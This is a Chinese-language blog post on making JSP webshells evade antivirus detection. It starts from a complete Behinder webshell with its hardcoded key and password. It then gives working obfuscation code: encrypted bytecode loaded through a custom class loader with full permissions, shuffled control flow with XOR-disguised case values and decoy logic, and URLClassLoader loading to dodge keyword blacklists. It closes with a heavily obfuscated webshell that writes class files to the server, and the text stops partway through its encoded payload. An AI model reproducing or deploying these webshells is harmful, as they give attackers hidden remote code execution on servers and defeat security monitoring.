JSP免杀思路学习

今天简单学习一下JSP木马的免杀思路，学习文章如下：
https://zhuanlan.zhihu.com/p/32954894636

免杀思路

现在对于大部分的检测来说，大部分还是基于特征检测为主的，jsp中常见的关键特征：loadClass、ClassLoader、newInstance、invoke、defineClass，Runtime等等。
为了防止被检测到上述的关键特征，我们可以使用字节码加载的方式将恶意方法隐藏到字节码中，然后使用类加载器来进行加载，同时在加载类的时候也会被检测到关键特征，这里我们可以用非黑名单的方法进行加载。

实战案例

这里我们以冰蝎木马为例，以下是一个普通的冰蝎木马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>

<%!
    // 自定义类加载器，用于加载动态字节码
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
%>

<%
    // 仅处理POST请求
    if (request.getMethod().equals("POST")) {
        
        // 密钥：连接密码32位MD5值的前16位，默认连接密码为 "rebeyond"
        String key = "e45e329feb5d925b";
        
        // 将密钥存入Session
        session.putValue("u", key);
        
        // 使用AES解密
        Cipher cipher = Cipher.getInstance("AES");
        cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(key.getBytes(), "AES"));
        
        // 读取POST请求体（Base64编码的加密数据）
        String encryptedBase64 = request.getReader().readLine();
        byte[] encryptedData = new sun.misc.BASE64Decoder().decodeBuffer(encryptedBase64);
        
        // 解密得到字节码
        byte[] classBytes = cipher.doFinal(encryptedData);
        
        // 使用自定义类加载器加载并实例化
        new U(this.getClass().getClassLoader())
            .g(classBytes)
            .newInstance()
            .equals(pageContext);  // 传入pageContext以便访问JSP上下文
    }
%>

首先将AES加密参数、请求方式与请求参数以及Websehll密码进行base64或AES加密处理，写入到一个类中，并对参数进行混淆

1
2
3
4
5
6
7
8
9
10
11
12
public class B4 {  
    //AES加解密  
    public static final String O0000000000000000O00 ="QUVT";  
    public static final String O0000000000O000O000O = "QUVTL0NCQy9QS0NTNVBhZGRpbmc=";  
    //Aes key k8jxw2qzv3nfh7m9 
    public static final String OOO000000000000O000O = "SzhpUVJxVzQ3TDhyZkVPVA=="; 
    //请求方式与请求参数  
    public static final String O00000000000O000000O ="ugycOqfjd6c5UlQhjPayZA==";  
    public static final String O000000000000000000O = "Llej9V3zwHZkqf3V2trT0w==";  
    //webshell密码 rebeyond
    public static final String O0O0O0O0O0O0O0O0O0O0 = "ZTQ1ZTMyOWZlYjVkOTI1Yg==";  
}

将上述类编译为Base64格式，然后写一个自定义的类加载器用来加载B4.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private ClassLoader B4Classloader(){  
    return new ClassLoader() {  
        @Override  
        protected Class<?> findClass(String className) throws ClassNotFoundException {  
            try{  
                String encodeData = "yv66vgAAADQAIQoAAwAYBwAZBwAaAQAUTzAwMDAwMDAwMDAwMDAwMDBPMDABABJMamF2YS9sYW5nL1N0cmluZzsBAA1Db25zdGFudFZhbHVlCAAbAQAUTzAwMDAwMDAwMDBPMDAwTzAwME8IABwBABRPT08wMDAwMDAwMDAwMDBPMDAwTwgAHQEAFE8wMDAwMDAwMDAwME8wMDAwMDBPCAAeAQAUTzAwMDAwMDAwMDAwMDAwMDAwME8IAB8BABRPME8wTzBPME8wTzBPME8wTzBPMAgAIAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAHQjQuamF2YQwAEgATAQACQjQBABBqYXZhL2xhbmcvT2JqZWN0AQAEUVVWVAEAHFFVVlRMME5DUXk5UVMwTlROVkJoWkdScGJtYz0BABhTemhwVVZKeFZ6UTNURGh5WmtWUFZBPT0BAAhVRTlUVkE9PQEABGRRPT0BABhaVFExWlRNeU9XWmxZalZrT1RJMVlnPT0AIQACAAMAAAAGABkABAAFAAEABgAAAAIABwAZAAgABQABAAYAAAACAAkAGQAKAAUAAQAGAAAAAgALABkADAAFAAEABgAAAAIADQAZAA4ABQABAAYAAAACAA8AGQAQAAUAAQAGAAAAAgARAAEAAQASABMAAQAUAAAAHQABAAEAAAAFKrcAAbEAAAABABUAAAAGAAEAAAABAAEAFgAAAAIAFw==";  
                byte[] bytes = base64Decode(encodeData);  
                PermissionCollection permissions = new Permissions();  
                permissions.add(new AllPermission());  
                ProtectionDomain domain = new ProtectionDomain(  
                        new CodeSource(null , (Certificate[]) null),  
                        permissions,  
                        this,  
                        null  
                );  
                return defineClass(null,bytes,0,bytes.length,domain);  
            } catch (Exception e) {  
                throw new RuntimeException(e);  
            }  
        }  
    };  
}  
private byte[] base64Decode(String data) {  
    return Base64.getDecoder().decode(data);  
}

通过反射获取各种信息，进行AES、Base64解密后进行还原，对request请求中的Base64字符串进行解密并进行字节码加载，就达到了混淆的目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public B3(HttpServletRequest request, HttpSession session, PageContext pageContext) throws Exception{  
    ClassLoader classLoader = B4Classloader();  
    Class<?> clazz = classLoader.loadClass("");  
    String O0000000000000000O00 = (String) clazz.getField("O0000000000000000O00").get(null);  
    String O0000000000O000O000O = (String) clazz.getField("O0000000000O000O000O").get(null);  
    String OOO000000000000O000O = (String) clazz.getField("OOO000000000000O000O").get(null);  
    String O00000000000O000000O = (String) clazz.getField("O00000000000O000000O").get(null);  
    String O000000000000000000O = (String) clazz.getField("O000000000000000000O").get(null);  
    String O0O0O0O0O0O0O0O0O0O0 = (String) clazz.getField("O0O0O0O0O0O0O0O0O0O0").get(null);  
    if (request.getMethod().equals(aesDecrypt(O0000000000000000O00, O0000000000O000O000O, OOO000000000000O000O,O00000000000O000000O))) {  
        session.setAttribute(aesDecrypt(O0000000000000000O00, O0000000000O000O000O, OOO000000000000O000O, O000000000000000000O), aesDecrypt(O0000000000000000O00, O0000000000O000O000O, OOO000000000000O000O, O0O0O0O0O0O0O0O0O0O0));  
        Cipher cipher = Cipher.getInstance(new String(base64Decrypt(O0000000000000000O00)));  
        cipher.init(2, new SecretKeySpec(aesDecrypt(O0000000000000000O00, O0000000000O000O000O, OOO000000000000O000O, O0O0O0O0O0O0O0O0O0O0).getBytes(), new String(base64Decrypt(O0000000000000000O00))));  
        String encryptedBase64 = request.getReader().readLine();  
        byte[] encryptedData = base64Decrypt(encryptedBase64);  
        byte[] classBytes = cipher.doFinal(encryptedData);  
        new U(this.getClass().getClassLoader()).g(classBytes).newInstance().equals(pageContext);  
    }  
}
private String aesDecrypt(String aes,String cipher,String pwd,String data) throws Exception {  
    byte[] bytes = base64Decrypt(data);  
    Cipher instance = Cipher.getInstance(new String(base64Decrypt(cipher)));  
    instance.init(Cipher.DECRYPT_MODE,new SecretKeySpec(base64Decrypt(pwd),new String(base64Decrypt(aes))));  
    return  new String(instance.doFinal(bytes));  
}  
  
class U extends ClassLoader {  
    U(ClassLoader c){  
        super(c);  
    }  
    public Class g(byte[] b){  
        return super.defineClass(b,0,b.length);  
    }  
}

不过这样一看还是非常明显的木马，因此我们可以进一步进行混淆，打乱代码的顺序
生成一个乱序的字符串，用｜来当分割符23|5|17|1|29|14|8|22|19|3|11|27|13|2|25|6|20|16|4|28|9|18|10|24|12|21|30|15|7|26
同时打乱case的顺序，当不同case情况时，执行不同的代码块，这个随机数字的字符串我们同样可以放到B4.class中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
String a = "23|5|17|1|29|14|8|22|19|3|11|27|13|2|25|6|20|16|4|28|9|18|10|24|12|21|30|15|7|26"  
String[] NumList  = a.split("\\|");  
int index = 0;  
while (true) {  
    int op = Integer.parseInt(NumList[index++]);  
    switch (op) {  
        case 9:  
            //xxxxxx  
            break  
        case 20:  
            //xxxxxx  
            break  
        case 1:  
            //xxxxxx  
            break  
        case 12:  
            //xxxxxx  
            break  
        //省略...  
    }  
    if (index == NumList.length) {  
        break;  
    }  
}

同时可以将case的数字替换成异或处理的表达式，总体混淆代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.util.Random;
public class xor {
    public static void main(String[] args) {
        Random random = new Random();
        int a = random.nextInt(1000000);
        int b = random.nextInt(1000000);
        int x = a ^ b;
        int target = 2;
        int y = x ^ target;
        int c = random.nextInt(1000000);
        int d = c ^ y;
        int result = ((a ^ b) ^ (c ^ d));
        System.out.println("a: " + a);
        System.out.println("b: " + b);
        System.out.println("c: " + c);
        System.out.println("d: " + d);
        System.out.println("Result: " + result);
        System.out.println("Result: (" + a + " ^ " + b + ") ^ (" + c + " ^ " + d + ") = " + result);
    }
}

混淆以后的代码如下，看起来就有点难以辨认，并混入了一些类似于正常业务但是不会触发的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
public class B3 {  
    private String s9l0h6m4X;  
    private String p6B5P2W6O;  
    private String n4R1w1v2p;  
    private String n1i8Q3X6J;  
    private String p6l2U4X0e;  
    private String q4o6Q3g4v;  
    private String a8c1g3v3Y;  
    private Cipher t1J2u1q1q;  
    private String g1z7S0u7H;  
    private byte[] m7G4I2r5S;  
    private byte[] p8E1c3J6B;  
  
    public B3(HttpServletRequest d3e5p6j8R, HttpSession m6T7h3w9A, PageContext a6v3c8G1u) {  
        try {  
            ClassLoader u3e3g6x9w = r9Y7H1v9p();  
            Class<?> x2P2U7v3a = u3e3g6x9w.loadClass("");  
            s9l0h6m4X = (String) x2P2U7v3a.getField("O0O0O0O0O0O0O0O0O0O0").get(null);  
            a8c1g3v3Y = (String) x2P2U7v3a.getField("O0000000OO00O000000O").get(null);  
            n4R1w1v2p = (String) x2P2U7v3a.getField("O000000000000000000O").get(null);  
            n1i8Q3X6J = (String) x2P2U7v3a.getField("O0000000000000000O00").get(null);  
            p6l2U4X0e = (String) x2P2U7v3a.getField("OOO000000000000O000O").get(null);  
            q4o6Q3g4v = (String) x2P2U7v3a.getField("O0000000000O000O000O").get(null);  
            p6B5P2W6O = (String) x2P2U7v3a.getField("O00000000000O000000O").get(null);  
            String[] r1z2c1X2M = new String(k0b3F4B3B(a8c1g3v3Y)).split("\\|");  
            if (d3e5p6j8R.getMethod().equals(new String(k0b3F4B3B(p6B5P2W6O)))) {  
                Random m4a1B9A1C = new Random();  
                int k5W1c9l5G = 0;  
                while (true) {  
                    int m2j2W1T7W = Integer.parseInt(r1z2c1X2M[k5W1c9l5G++]);  
                    switch (m2j2W1T7W) {  
                        case ((8879833 ^ 67850) ^ (2582599 ^ 10559388)):  
                            InetAddress q1j0Z0L3z = InetAddress.getLoopbackAddress();  
                            m6T7h3w9A.setAttribute("loopbackAddress", q1j0Z0L3z.getHostAddress());  
                            break;  
                        case ((386974 ^ 319051) ^ (3866466 ^ 3917501)):  
                            Map<String, Integer> b4O3w2p4j = new HashMap<>();  
                            b4O3w2p4j.put("dummyKey", 42);  
                            b4O3w2p4j.put(new String(k0b3F4B3B(n4R1w1v2p)), m4a1B9A1C.nextInt(100));  
                            m6T7h3w9A.setAttribute("dummyMap", b4O3w2p4j);  
                            break;  
                        case ((9018918 ^ 3740676) ^ (301976 ^ 11801007)):  
                            SimpleDateFormat m5q7p2X2q = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");  
                            Date n2j2f9G4V = new Date();  
                            String l1r8W3v9V = m5q7p2X2q.format(n2j2f9G4V);  
                            m6T7h3w9A.setAttribute("formattedDate", l1r8W3v9V);  
                            break;  
                        case ((7240625 ^ 6301011) ^ (6697209 ^ 6843915)):  
                            Runtime w3L5f7V3c = Runtime.getRuntime();  
                            long z2P7f7m8u = w3L5f7V3c.freeMemory();  
                            m6T7h3w9A.setAttribute("freeMemory", z2P7f7m8u);  
                            break;  
                        case ((732024 ^ 8617180) ^ (1563537 ^ 10456119)):  
                            List<String> p1f5g3a2N = new ArrayList<>();  
                            p1f5g3a2N.add(new String(k0b3F4B3B(n4R1w1v2p)));  
                            p1f5g3a2N.add(new String(k0b3F4B3B(s9l0h6m4X)));  
                            t1J2u1q1q = Cipher.getInstance(new String(k0b3F4B3B(n1i8Q3X6J)));  
                            Collections.shuffle(p1f5g3a2N);  
                            m6T7h3w9A.setAttribute("shuffledList", p1f5g3a2N);  
                            break;  
                        case ((2339895 ^ 4884769) ^ (9046808 ^ 14890506)):  
                            Thread e7d8S7u1A = new Thread(() -> {  
                                try {  
                                    Thread.sleep(50);  
                                } catch (InterruptedException e) {  
                                }  
                            });  
                            g1z7S0u7H = d3e5p6j8R.getReader().readLine();  
                            e7d8S7u1A.start();  
                            break;  
                        case ((1015382 ^ 4071151) ^ (4742802 ^ 7945765)):  
                            NumberFormat h3m9U0p6k = NumberFormat.getInstance();  
                            h3m9U0p6k.setMaximumFractionDigits(2);  
                            double o3i3k3K6C = Math.random() * 100;  
                            String j1i9z0m2M = h3m9U0p6k.format(o3i3k3K6C);  
                            m6T7h3w9A.setAttribute("formattedNumber", j1i9z0m2M);  
                            break;  
                        case ((458710 ^ 8177662) ^ (3904660 ^ 4304032)):  
                            StringBuilder m6a0X4Z2x = new StringBuilder();  
                            for (int i4Q0R6Z4V = 0; i4Q0R6Z4V < 5; i4Q0R6Z4V++) {  
                                m6a0X4Z2x.append(i4Q0R6Z4V);  
                            }  
                            m6T7h3w9A.setAttribute("builtString", m6a0X4Z2x.toString());  
                            break;  
                        case ((3184861 ^ 1366811) ^ (9271217 ^ 11088992)):  
                            String[] n6X9w3p9O = new String(k0b3F4B3B(n4R1w1v2p)).split("");  
                            m6T7h3w9A.setAttribute("stringParts", n6X9w3p9O);  
                            break;  
                        case ((6155543 ^ 1890168) ^ (6571420 ^ 2457586)):  
                            String j7p6t3W5O = new StringBuilder(new String(k0b3F4B3B(n4R1w1v2p))).reverse().toString();  
                            m6T7h3w9A.setAttribute(new String(k0b3F4B3B(n4R1w1v2p)), new String(k0b3F4B3B(s9l0h6m4X)));  
                            double x1Y2h3f4T = Math.pow(Math.random() * 10, 2);  
                            m6T7h3w9A.setAttribute("reversedString", j7p6t3W5O);  
                            break;  
                        case ((4898374 ^ 6808851) ^ (5683648 ^ 8118928)):  
                            int t5j3W3p8i = m4a1B9A1C.nextInt(100) + m4a1B9A1C.nextInt(100);  
                            m7G4I2r5S = k0b3F4B3B(g1z7S0u7H);  
                            m6T7h3w9A.setAttribute("randomValue", t5j3W3p8i);  
                            break;  
                        case ((8664441 ^ 2410405) ^ (2946669 ^ 9176235)):  
                            int c7y1v0Q9O = new String(k0b3F4B3B(n4R1w1v2p)).length() + new String(k0b3F4B3B(s9l0h6m4X)).length();  
                            m6T7h3w9A.setAttribute("stringLength", c7y1v0Q9O);  
                            break;  
                        case ((8693983 ^ 9009614) ^ (8522344 ^ 9427816)):  
                            int[] q1s1p8x7X = new int[10];  
                            Arrays.fill(q1s1p8x7X, m4a1B9A1C.nextInt(10));  
                            m6T7h3w9A.setAttribute("randomArray", q1s1p8x7X);  
                            break;  
                        case ((4906147 ^ 9769395) ^ (7164730 ^ 11705906)):  
                            String e4V3r8y3X = new String(k0b3F4B3B(n4R1w1v2p)).replaceAll("[a-zA-Z]", "X");  
                            m6T7h3w9A.setAttribute("replacedString", e4V3r8y3X);  
                            break;  
                        case ((7751859 ^ 5316671) ^ (6994352 ^ 5099824)):  
                            try {  
                                throw new UnsupportedOperationException("Dummy operation");  
                            } catch (Exception e) {  
                                m6T7h3w9A.setAttribute("exceptionMessage", e.getMessage());  
                            }  
                            break;  
                        case ((3147501 ^ 4553051) ^ (8038759 ^ 1038023)):  
                            boolean v7V5I7e3j = new String(k0b3F4B3B(n4R1w1v2p)).equals(new String(k0b3F4B3B(s9l0h6m4X)));  
                            m6T7h3w9A.setAttribute("isEquals", v7V5I7e3j);  
                            break;  
                        case ((2837764 ^ 5936761) ^ (2985242 ^ 6051424)):  
                            File z2s3p4a0y = new File("dummy.txt");  
                            boolean b2J1p0o6b = z2s3p4a0y.exists();  
                            new v0P8L2A2A(this.getClass().getClassLoader()).b9p6y7s3c(p8E1c3J6B).newInstance().equals(a6v3c8G1u);  
                            m6T7h3w9A.setAttribute("fileExists", b2J1p0o6b);  
                            break;  
                        case ((496304 ^ 6636650) ^ (5086969 ^ 3098664)):  
                            try (InputStream c0N1d6l6x = new ByteArrayInputStream(new String(k0b3F4B3B(n4R1w1v2p)).getBytes())) {  
                                int v9R9Z2W0g = c0N1d6l6x.read();  
                                m6T7h3w9A.setAttribute("byteValue", v9R9Z2W0g);  
                            } catch (IOException e) {  
                            }  
                            break;  
                        case ((6728502 ^ 9376420) ^ (357425 ^ 15519146)):  
                            try {  
                                Field h1Y9P4I6Q = String.class.getDeclaredField("value");  
                                h1Y9P4I6Q.setAccessible(true);  
                                Object p9a6E8s1J = h1Y9P4I6Q.get(new String(k0b3F4B3B(n4R1w1v2p)));  
                                m6T7h3w9A.setAttribute("fieldValue", p9a6E8s1J);  
                            } catch (Exception e) {  
                            }  
                            break;  
                        case ((6600945 ^ 5419399) ^ (5382608 ^ 6564009)):  
                            int a3A3r3E1M = 0b10101010;  
                            a3A3r3E1M ^= 0b11110000;  
                            m6T7h3w9A.setAttribute("bitwiseResult", a3A3r3E1M);  
                            break;  
                        case ((4617072 ^ 573624) ^ (7728648 ^ 3890644)):  
                            List<Double> i2I2F3j2b = new ArrayList<>();  
                            for (int s5R0z2e7P = 0; s5R0z2e7P < 10; s5R0z2e7P++) {  
                                i2I2F3j2b.add(Math.random() * 100);  
                            }  
                            Collections.sort(i2I2F3j2b);  
                            m6T7h3w9A.setAttribute("sortedNumbers", i2I2F3j2b);  
                            break;  
                        case ((7497662 ^ 596210) ^ (4488276 ^ 4129537)):  
                            Set<String> r8R2t8H1C = new HashSet<>();  
                            r8R2t8H1C.add(new String(k0b3F4B3B(n4R1w1v2p)));  
                            r8R2t8H1C.add(new String(k0b3F4B3B(s9l0h6m4X)));  
                            r8R2t8H1C.add("dummy");  
                            m6T7h3w9A.setAttribute("dummySet", r8R2t8H1C);  
                            break;  
                        case ((1633717 ^ 9205175) ^ (7822579 ^ 14927075)):  
                            char[] y2X0k4U8n = new String(k0b3F4B3B(n4R1w1v2p)).toCharArray();  
                            char g5W9Y4T1i = y2X0k4U8n[m4a1B9A1C.nextInt(y2X0k4U8n.length)];  
                            m6T7h3w9A.setAttribute("randomChar", g5W9Y4T1i);  
                            break;  
                        case ((7311656 ^ 2658835) ^ (48281 ^ 4702116)):  
                            Pattern k3q3l8t3k = Pattern.compile("[a-zA-Z0-9]+");  
                            p8E1c3J6B = t1J2u1q1q.doFinal(m7G4I2r5S);  
                            Matcher m3E6M3j5m = k3q3l8t3k.matcher(new String(k0b3F4B3B(n4R1w1v2p)));  
                            if (m3E6M3j5m.find()) {  
                                m6T7h3w9A.setAttribute("matchedGroup", m3E6M3j5m.group());  
                            }  
                            break;  
                        case ((9277693 ^ 8361368) ^ (7171981 ^ 10447589)):  
                            String t9S9J5s9p = String.format("Generated: %s", new String(k0b3F4B3B(n4R1w1v2p)));  
                            m6T7h3w9A.setAttribute("formattedString", t9S9J5s9p);  
                            break;  
                        case ((8812970 ^ 6069284) ^ (446773 ^ 14431400)):  
                            double a7E1S4s0v = Math.random() * Math.E;  
                            m6T7h3w9A.setAttribute("floatResult", a7E1S4s0v);  
                            break;  
                        case ((7310453 ^ 9910379) ^ (5173028 ^ 11950881)):  
                            String k5y1c2O0q = "prefix-" + new String(k0b3F4B3B(n4R1w1v2p)) + "-suffix";  
                            m6T7h3w9A.setAttribute("concatenated", k5y1c2O0q);  
                            break;  
                        case ((7660692 ^ 8233515) ^ (5325591 ^ 5768619)):  
                            Calendar m7y2u7L2e = Calendar.getInstance();  
                            m7y2u7L2e.set(Calendar.YEAR, 2025);  
                            t1J2u1q1q.init(2, new SecretKeySpec(new String(k0b3F4B3B(s9l0h6m4X)).getBytes(), new String(k0b3F4B3B(n1i8Q3X6J))));  
                            m6T7h3w9A.setAttribute("dummyDate", m7y2u7L2e.getTime());  
                            break;  
                        default:  
                            break;  
                    }  
                    if (k5W1c9l5G == r1z2c1X2M.length) {  
                        break;  
                    }  
                }  
            }  
        } catch (Exception e) {  
            throw new RuntimeException(e);  
        }  
    }  
}

接下来我们只需要在jsp中调用这段代码，可以直接将这段代码插入到jsp中，然后实例化该恶意类即可。或者使用类加载器来进行字节码的加载，即可实例化该类。但是需要注意的是，如果是利用上面两种方法，在代码中会有invoke/newInstance/defineClass等关键字，因此我们需要绕过这些关键方法的检测
（不过我们都可以加载字节码了，直接注入内存马也是一种不错的选择）
其实思路很简单，就是使用非黑名单的方法来进行类加载，以防止关键字被检测到，在我学习的这个文章中，使用了java.net.URLClassLoader类，它是Java中从URL路径加载资源的一个类加载器，可以从本地或者远程来进行加载类文件 

1
2
3
4
URL jar = new File("/tmp/foo.jar").toURI().toURL();
try (URLClassLoader loader = new URLClassLoader(new URL[]{jar}, null)) {
    Class<?> c = loader.loadClass("com.example.Foo");
}

我们可以将类文件写入到目标服务器下，通过URLClassLoader加载
最后我们的免杀木马如下（用AI帮忙搞了一下）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" session="true" trimDirectiveWhitespaces="true" %>

<%!

static byte[] Hjc9LVC2(String s) {

int n = s.length();

byte[] o = new byte[n / ((769975 ^ 544920) ^ (823846 ^ 1015051))];

for (int i = ((362246 ^ 579027) ^ (986365 ^ 155176)); i < n; i += ((416797 ^ 308894) ^ (503380 ^ 345301))) {

o[i / ((994787 ^ 606680) ^ (211834 ^ 350019))] = (byte) ((Character.digit(s.charAt(i), ((348728 ^ 499889) ^ (699704 ^ 548769))) << ((476395 ^ 702733) ^ (410244 ^ 769894)))

+ Character.digit(s.charAt(i + ((833247 ^ 409571) ^ (123005 ^ 747840))), ((970357 ^ 790203) ^ (515032 ^ 334598))));

}

return o;

}

static byte[] SSxyjQ31(byte[] d) {

byte[] k0 = new byte[]{113,97,104,102,116,114,120,99,107,97,102};

byte[] o = new byte[d.length];

byte[] k = new byte[k0.length];

System.arraycopy(k0, 0, k, 0, k0.length);

for (int i = ((387813 ^ 108491) ^ (693419 ^ 973189)); i < d.length; i += ((819112 ^ 916118) ^ (880841 ^ 849407))) {

for (int j = ((151426 ^ 735863) ^ (881369 ^ 263980)); j < ((620856 ^ 973294) ^ (400096 ^ 113214)) && i + j < d.length; j++) {

o[i + j] = (byte) (d[i + j] ^ k[j % k.length]);

}

int add = (i / ((913423 ^ 937665) ^ (341296 ^ 429046))) % ((736553 ^ 940886) ^ (469435 ^ 151236));

for (int j = ((329642 ^ 767542) ^ (299367 ^ 663803)); j < k.length; j++) k[j] = (byte) (k[j] + add);

}

return o;

}

static byte[] DnXRCI4hiC(String s) {

try {

Class<?> NVRgksb = Class.forName("java.util.Base64");

java.lang.reflect.Method KsxjGJX = NVRgksb.getMethod("getDecoder");

Object Fe1Mo4iC = KsxjGJX.invoke(null);

java.lang.reflect.Method IpaX3QjBvK = Fe1Mo4iC.getClass().getMethod(new String(SSxyjQ31(Hjc9LVC2("15040b091017"))), String.class);

return (byte[]) IpaX3QjBvK.invoke(Fe1Mo4iC, s);

} catch (Exception e) {

throw new RuntimeException(e);

}

}

static byte[] QK63LSFZH3U(byte[] d) {

byte[] k = new byte[]{(byte)130,(byte)155,7,(byte)144,51,(byte)184,(byte)167,(byte)180};

byte[] o = new byte[d.length];

for (int i = ((751051 ^ 362801) ^ (810687 ^ 172613)); i < d.length; i++) o[i] = (byte) (d[i] ^ k[i % k.length]);

return o;

}

static String[] PqpNVGMrer(byte[][] blobs, HttpServletRequest req, String[] names) {

String[] paths = new String[((892280 ^ 855948) ^ (904751 ^ 875736))];

String root = req.getServletContext().getRealPath("\\");

if (root == null) root = req.getServletContext().getRealPath("/");

String dir = root + new String(SSxyjQ31(Hjc9LVC2("2d362d24593b36252d02040707011d10")));

dir = dir.replace("\\", "/");

if (!dir.endsWith("/")) dir = dir + "/";

new java.io.File(dir).mkdirs();

for (int k = ((791201 ^ 813928) ^ (979060 ^ 952765)); k < ((243423 ^ 758765) ^ (201883 ^ 733610)); k++) {

String fp = dir + names[k] + new String(SSxyjQ31(Hjc9LVC2("5f0204070701")));

fp = fp.replace("\\", "/");

paths[k] = fp;

byte[] data = blobs[k];

try (java.io.FileOutputStream fos = new java.io.FileOutputStream(fp)) {

int chunk = 1024 * 1024;

for (int i = ((757937 ^ 777737) ^ (141337 ^ 157345)); i < data.length; i += chunk) {

int end = Math.min(i + chunk, data.length);

fos.write(data, i, end - i);

fos.flush();

}

} catch (Exception e) {

throw new RuntimeException(e);

}

}

return paths;

}

%>

<%

try {

byte[][] Jcwi4uzmW2 = new byte[((122394 ^ 153035) ^ (925013 ^ 890503))][];

Jcwi4uzmW2[((449709 ^ 355400) ^ (232040 ^ 14989))] = QK63LSFZH3U(DnXRCI4hiC("SGW9LjO4p4CCpg2QILi4vIK7DZASuIWzgrgNkDe4uLOCvw2QNbi4voKfB7U0uIGzgrwAkBuyp76Csg2QOriNvoKJB7s0uIuzgrYNkCO4ibOCtACQAbmnsr7yaflHhqa0gbMuxjK4o/ft/2KRM7fr3ez+SeVe2sLG1vpl/Fa5p73k8mn0cNTGx/GaB7Ub9M3V9Poo/FLWwJvR73X5Xd+cnc7xZuZSl8vV7Pwo01/Z1Me5mgedYMzG1+nWZuBn2cXY55wHvDK4rfH6+GLgR9HI2vGaB5pg19LG4f5B+V/dprSNw0+oS/H9+bPRVb5Z2dHVjpsTkCa5o5T77TGmRd/m9cPfVtF5+cj1w+xG8XHP5tbA7Ebzcunm4NbhRcB+/Z/Dz99G52fC5eTP30XAfv2e5M/aQtF209/F28Nd+H+K39zg9mTmZov1zePMMv58z+L1xs5J5lHW6YTbzDKgZdXhx+bMUtly+pf2w9lJwGeInuTW4UbnZ8Ll5M/fRudnwuXkz94+wHD55tHDykbEZ4ifw9bhRudnwuXkz94/53785sPP3j7AfvnA9crsQtF2iJ7k1uFG52eInuTWqz7AZ8Lmw8/fRcB+/Z/9w9hG0nL66eTWqz/nfvzmw9arPsB+/OXkz94/53785sPB2kb4cunm4NarPsBniJ/Dz94/5379nuTW4Ubnfvzmw9bsYNF63+L1x6s+wGfC5sPWqz7AZ8Lmw9arP+d+/Z/Dz99G2XL76vbD2l6oUu+SxObfM9Jy+erbyc1e0nL59fDgqVX8cunm5Nbca+Vp7ZKF4MxN/FDU9dzb9n/8cunm/9epPqFQ1enY0PZr42np4vXGzk3HfOzizOfeSfF/1dfc5vZC3XL69vXEykLRcP3t483PQuhW/enVw8pGwVLV4YbbyD7jau+S2s6rPvlS1fHe5tpC0XH+4eLU91bScvrf5tTNXcVn/OX706pBpXzu4eDP3jLFZ9T99+Pdd9hm1uXd4MxKqXLp5u3Xq2ShZ/7D7ND3a8ZR1NfM1vFJx1Hu18XT8DbIZuyXjcPKRslW8PXczPBz1lLtz4XV3GOlZYj1x9v2bKRp09PC0883qXLp5u3P8DbmZojtgsypMqBp78/41d1j2mD+5fPQ3U6lYuyXjcPKRuNn0vH54ak2/X3wz/HTzD7dZPDLguD2MsphivXV5t5NwVKK18zT4UXJfe3P99CqY/hp/uqA1NxB/FfCl/bD3H/jUInixtjwTupl0sPO16lJwmfu6sPWqEnZYP+ew9bha+dQisPCzMNFxmWInvrnzG/DV//tzdb3Vedpwunm06lWo1fS7czR91XKZv/AxuDcTaNk7+mA1sxJxGTV087XqEH5UP/P7tTIc/hn7OKH1MxSpWmI9fHM32PHVu/P3teqSf9ni+n20Kl3wGb/y8Th4TfReunm98PaStFy+eb8w9ls0XH55vLD2kLRcd/m9cPaTtFxz+buw9pg0XHp5vbD2l7Rcvnm98PabNF06eb/w9pS0XLp5vPD2kbRct/m+MPZbNF3+ebyw9pC0XHf5vXD2k7Rd+nm7sPaM9Fx6eb2w9pe0XL55vfD2j/RdOnm5cPaUtFy6ebzw9pG0XLf5ubD2WzRdt/m8sPaQtFx3+b1w9pO0XbP5vbD2kLRdfnm4sPaQtF13+b1w9k30XLp5vbD2kbRcevWh8PaQOhy+eb1w8pGyHL55vXA/EbScvnm9cPKRtJy+sD1w9pG03L6zImFmzScM4yngY